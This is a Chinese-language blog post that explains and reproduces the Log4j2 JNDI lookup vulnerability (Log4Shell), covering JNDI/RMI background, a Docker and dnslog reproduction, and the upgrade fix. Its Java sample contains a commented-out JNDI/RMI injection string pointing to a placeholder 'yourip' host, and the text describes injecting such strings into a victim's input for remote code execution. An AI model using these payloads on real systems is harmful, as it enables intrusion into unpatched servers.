前言
前几天安全圈子就像过了年一样热闹,那晚我也很惊讶。本来正在苦逼写javaEE项目,随后打算摸鱼的,突然看到了朋友圈有大佬讲log4j有漏洞,好巧!我当时正在用这个。随后就是各大公众号、SRC,实验室发文,后来我把javaEE做完后,看了下,很好,原理不难理解,利用方便。真的是一大神器。也难怪有曰:“核弹级漏洞”“比肩永恒之蓝”之类。
不多废话了,本人能力不够,若有缺漏请指出,轻喷。
代码及效果
先上代码:如下
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.naming.NamingException;
import java.io.IOException;
public class Log4j2Test {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String... args) throws IOException, NamingException {
String username = "${java:os}";
// String username = "${jdni:rmi://yourip:port/hack}";
LOGGER.info("Hello, {}!", username);
}
}
代码中用到了JNDI和RMI
知识铺垫
简单介绍下:
JNDI:JNDI(Java Naming and Directory Interface ),类似于在一个中心注册一个东西,以后要用的时候,只需要根据名字去注册中心查找,注册中心返回你要的东西。
RMI: (Remote Method Invocation) 模型是一种分布式对象应用,使用 RMI 技术可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server 端和一个 Client 端。
说白了可以远程访问另一台主机的对象,并且在本地运行。
漏洞原理
那么为什么log4j造成这个漏洞呢,为什么上面的代码会打印出硬件信息呢?
关键在这里
关键的用户输入与代码分离原则没有实现!!!!
用户的数值可以直接接入到代码中,这比最简单的SQL注入还不如,
漏洞原理既是如此,很简单,但也很致命
当然了,如果只是打印信息也没有如此危险,但是,这个log是支持lookups方法的。
刚刚我们使用的os,如下
因为,lookups是支持jndi、rmi的。那也就是说,我们完全可以搭建好远程环境,让写入到受害者的输入框中,来达到远程命令执行的效果。简直不要太流畅。
docker复现
到这里漏洞的原理已经梳理完整了,我们来从环境中试下
前往dnslog,搞一个网址
这里ldap原理与上面的大致相同,
ldap可以简单理解为用来访问的协议
可以看到已经访问到了
修复方案
升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本
地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
感谢
复现漏洞的时候参考了很多大佬的文章,十分感谢,参考目录如下
Log4j高危漏洞!具体原因解析!全网第一!_哔哩哔哩_bilibili https://www.bilibili.com/video/BV1FL411E7g3